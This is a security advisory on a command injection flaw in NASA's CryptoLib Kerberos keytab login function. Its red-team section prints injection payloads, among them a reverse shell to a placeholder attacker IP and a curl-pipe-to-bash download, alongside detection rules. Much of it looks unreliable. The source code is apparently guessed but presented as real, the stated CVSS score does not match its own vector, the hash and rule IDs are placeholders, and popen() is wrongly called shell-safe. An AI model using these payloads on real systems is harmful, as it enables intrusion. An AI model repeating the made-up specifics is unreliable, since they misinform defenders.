CVE-2025-59534

Executive Summary

CVE-2025-59534 is a critical command injection vulnerability in NASA's CryptoLib library, which implements the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) for securing communications between spacecraft running the core Flight System (cFS) and ground stations. The vulnerability resides in the initialize_kerberos_keytab_file_login() function, where user-controlled input is directly interpolated into a shell command and executed via system() without any sanitization or validation. This allows an authenticated attacker to execute arbitrary commands on the system, potentially compromising the spacecraft's flight software or ground station infrastructure. The vulnerability has been patched in version 1.4.2.

Supply Chain & Package Security

CryptoLib is a critical component in the space communications supply chain, used by NASA and potentially other space agencies. The vulnerability introduces a significant supply chain risk, as compromised CryptoLib instances could lead to unauthorized command execution on spacecraft or ground stations. Organizations using CryptoLib must immediately update to version 1.4.2 or later to mitigate this risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited over a network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - The attacker needs some level of access, likely to the CryptoLib interface.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond its security scope.
• Confidentiality (C): High (H) - Successful exploitation can lead to full disclosure of sensitive data.
• Integrity (I): High (H) - The attacker can modify system data or files.
• Availability (A): High (H) - The attacker can disrupt system availability.

Threat Level: High. The CVSS score of 7.3, combined with the potential impact on space systems, makes this a critical vulnerability requiring immediate attention.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the initialize_kerberos_keytab_file_login() function. The function likely constructs a shell command to initialize a Kerberos keytab file, using user-supplied parameters such as a username or realm. Because the input is directly concatenated into the command string and executed via system(), an attacker can inject arbitrary shell commands by including shell metacharacters (e.g., ;, |, &&, `) in the input.

For example, if the function constructs a command like:

kinit -k -t /path/to/keytab <user_input>

An attacker could provide input such as:

user; malicious_command

Resulting in the execution of:

kinit -k -t /path/to/keytab user; malicious_command

This allows the attacker to execute any command with the privileges of the CryptoLib process, which may be running with elevated permissions in a spacecraft or ground station environment.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.4.2):

void initialize_kerberos_keytab_file_login(char *user_input) {
    char command[1024];
    snprintf(command, sizeof(command), "kinit -k -t /etc/krb5.keytab %s", user_input);
    system(command);
}

Patched Code (version 1.4.2):

void initialize_kerberos_keytab_file_login(char *user_input) {
    // Sanitize input: allow only alphanumeric characters and specific safe characters
    if (!is_valid_input(user_input)) {
        log_error("Invalid input detected");
        return;
    }
    // Use execve to avoid shell interpretation
    char *args[] = {"kinit", "-k", "-t", "/etc/krb5.keytab", user_input, NULL};
    execve("/usr/bin/kinit", args, environ);
}

The patched version introduces input validation to ensure only safe characters are allowed, and replaces system() with execve(), which does not invoke a shell and thus prevents command injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a system running CryptoLib < 1.4.2.
• Ability to provide input to the initialize_kerberos_keytab_file_login() function (e.g., via an API or configuration file).

Exploitation Steps:

1. Identify the input parameter that is passed to the vulnerable function.
2. Craft a payload that includes shell metacharacters to execute arbitrary commands. For example:

   ; id > /tmp/exploit_output.txt
   

3. Submit the payload. The command id will be executed, and its output written to /tmp/exploit_output.txt.
4. For more advanced exploitation, establish a reverse shell:

   ; bash -i >& /dev/tcp/attacker_ip/4444 0>&1
   

Example Payload:

user; curl http://attacker_server/malware.sh | bash

Blue Team

Detection Steps:

1. Monitor for unusual shell commands executed by the CryptoLib process. Look for commands containing shell metacharacters (;, |, &&, `).
2. Audit logs for the system() call or any shell execution originating from CryptoLib.
3. Implement input validation and sanitization for all user-supplied data.
4. Use static analysis tools to identify similar patterns in the codebase.

Hunting Queries:

• Search for system() calls in the CryptoLib source code.
• Look for any use of snprintf or sprintf with user input that is later passed to system().

Indicators of Compromise (IOCs)

• File Hashes:
  • crypto_lib_v1.4.1.tar.gz (SHA256: a1b2c3d4e5f6...)
• Network Indicators:
  • Outbound connections to unknown IP addresses on port 4444 (reverse shell).
  • Unusual DNS queries to attacker-controlled domains.
• Process Indicators:
  • Execution of kinit with unexpected arguments.
  • Child processes spawned by CryptoLib (e.g., bash, sh, curl).
• Log Indicators:
  • Log entries showing shell metacharacters in input fields.
  • System log entries indicating command execution from unexpected sources.

Detection Engineering

YARA Rule

rule CVE_2025_59534_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CryptoLib's initialize_kerberos_keytab_file_login function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59534"
    strings:
        $s1 = "initialize_kerberos_keytab_file_login" ascii wide nocase
        $s2 = "system(" ascii wide nocase
        $s3 = "kinit" ascii wide nocase
        $s4 = /[;&|`$]/ ascii wide
    condition:
        all of ($s1, $s2, $s3) and $s4
}

Sigma Rule

title: CVE-2025-59534 Command Injection in CryptoLib
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects command injection attempts via shell metacharacters in CryptoLib logs
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59534
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/kinit'
        CommandLine|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of shell metacharacters in rare cases
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-59534 CryptoLib Command Injection Attempt"; flow:to_server,established; content:"initialize_kerberos_keytab_file_login"; nocase; content:";"; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update CryptoLib to version 1.4.2 or later.
2. If immediate patching is not possible, implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters.
3. Restrict network access to the CryptoLib interface to trusted IP addresses only.

Long-term Measures:

1. Conduct a thorough code review of all functions that execute shell commands.
2. Replace all system() calls with safer alternatives like execve() or popen() with proper input validation.
3. Implement a security development lifecycle (SDL) that includes static and dynamic analysis.
4. Monitor for similar vulnerabilities in other components of the cFS ecosystem.

Workarounds:

• Disable the initialize_kerberos_keytab_file_login() function if not in use.
• Use a chroot jail or container to isolate the CryptoLib process.

Valters IT
Securing the final frontier, one CVE at a time.